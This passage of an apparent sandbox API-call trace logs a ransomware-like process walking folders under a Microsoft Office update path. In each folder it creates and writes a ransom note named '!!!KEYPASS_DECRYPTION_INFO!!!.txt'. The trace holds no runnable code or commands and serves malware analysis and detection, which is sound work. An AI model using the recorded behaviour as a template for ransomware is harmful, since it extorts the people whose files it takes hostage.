lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca98, cchData=2 | out: lpLCData="0") returned 2 [0276.474] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca84, cchData=2 | out: lpLCData="0") returned 2 [0276.474] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca74, cchData=2 | out: lpLCData="0") returned 2 [0276.474] WriteFile (in: hFile=0x1888, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.475] WriteFile (in: hFile=0x1888, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x2a, lpOverlapped=0x0) returned 1 [0276.475] CloseHandle (hObject=0x1888) returned 1 [0276.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\*", lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0x3997970 [0276.476] FindNextFileW (in: hFindFile=0x3997970, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.476] FindNextFileW (in: hFindFile=0x3997970, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.476] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.476] FindNextFileW (in: hFindFile=0x3997970, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0 [0276.476] FindNextFileW (in: hFindFile=0x39978b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.476] FindNextFileW (in: hFindFile=0x3997bb0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.476] FindNextFileW (in: hFindFile=0x3997930, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.476] FindNextFileW (in: hFindFile=0x3997ff0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.476] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.476] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.476] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.476] GetLastError () returned 0x3f0 [0276.476] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.476] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft office\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188c [0276.477] GetFileType (hFile=0x188c) returned 0x1 [0276.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.477] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.477] WriteFile (in: hFile=0x188c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.478] WriteFile (in: hFile=0x188c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.478] CloseHandle (hObject=0x188c) returned 1 [0276.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x39979b0 [0276.478] FindNextFileW (in: hFindFile=0x39979b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.478] FindNextFileW (in: hFindFile=0x39979b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.478] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.478] FindNextFileW (in: hFindFile=0x39979b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.478] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.479] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.479] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.479] GetLastError () returned 0x3f0 [0276.479] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.479] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft sql server\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1894 [0276.492] GetFileType (hFile=0x1894) returned 0x1 [0276.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.492] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.492] WriteFile (in: hFile=0x1894, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.493] WriteFile (in: hFile=0x1894, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.493] CloseHandle (hObject=0x1894) returned 1 [0276.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3997bf0 [0276.493] FindNextFileW (in: hFindFile=0x3997bf0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.494] FindNextFileW (in: hFindFile=0x3997bf0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.494] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.494] FindNextFileW (in: hFindFile=0x3997bf0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.494] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.494] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.494] GetLastError () returned 0x3f0 [0276.494] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.494] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft sql server\\130\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1898 [0276.494] GetFileType (hFile=0x1898) returned 0x1 [0276.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.495] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.495] WriteFile (in: hFile=0x1898, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.495] WriteFile (in: hFile=0x1898, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.495] CloseHandle (hObject=0x1898) returned 1 [0276.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x3997af0 [0276.496] FindNextFileW (in: hFindFile=0x3997af0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.496] FindNextFileW (in: hFindFile=0x3997af0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.496] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.496] FindNextFileW (in: hFindFile=0x3997af0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.496] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.496] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.496] GetLastError () returned 0x3f0 [0276.496] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.496] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft sql server\\130\\shared\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1890 [0276.498] GetFileType (hFile=0x1890) returned 0x1 [0276.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.498] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.498] WriteFile (in: hFile=0x1890, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.498] WriteFile (in: hFile=0x1890, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.499] CloseHandle (hObject=0x1890) returned 1 [0276.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x39979f0 [0276.499] FindNextFileW (in: hFindFile=0x39979f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.499] FindNextFileW (in: hFindFile=0x39979f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.499] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft SQL Server\\130\\Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.499] FindNextFileW (in: hFindFile=0x39979f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.499] FindNextFileW (in: hFindFile=0x3997af0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.499] FindNextFileW (in: hFindFile=0x3997bf0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.499] FindNextFileW (in: hFindFile=0x3997a30, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.499] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.499] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.499] GetLastError () returned 0x3f0 [0276.499] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.499] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x189c [0276.504] GetFileType (hFile=0x189c) returned 0x1 [0276.504] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.504] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.504] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.504] WriteFile (in: hFile=0x189c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.506] WriteFile (in: hFile=0x189c, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.506] CloseHandle (hObject=0x189c) returned 1 [0276.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3997c30 [0276.506] FindNextFileW (in: hFindFile=0x3997c30, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.506] FindNextFileW (in: hFindFile=0x3997c30, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.506] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.506] FindNextFileW (in: hFindFile=0x3997c30, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.506] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.506] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.506] GetLastError () returned 0x3f0 [0276.506] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.506] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx64\\microsoft.net\\adomd.net\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18a0 [0276.507] GetFileType (hFile=0x18a0) returned 0x1 [0276.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.507] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.507] WriteFile (in: hFile=0x18a0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.508] WriteFile (in: hFile=0x18a0, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.508] CloseHandle (hObject=0x18a0) returned 1 [0276.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x39980b0 [0276.508] FindNextFileW (in: hFindFile=0x39980b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.509] FindNextFileW (in: hFindFile=0x39980b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.509] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.509] FindNextFileW (in: hFindFile=0x39980b0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.509] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 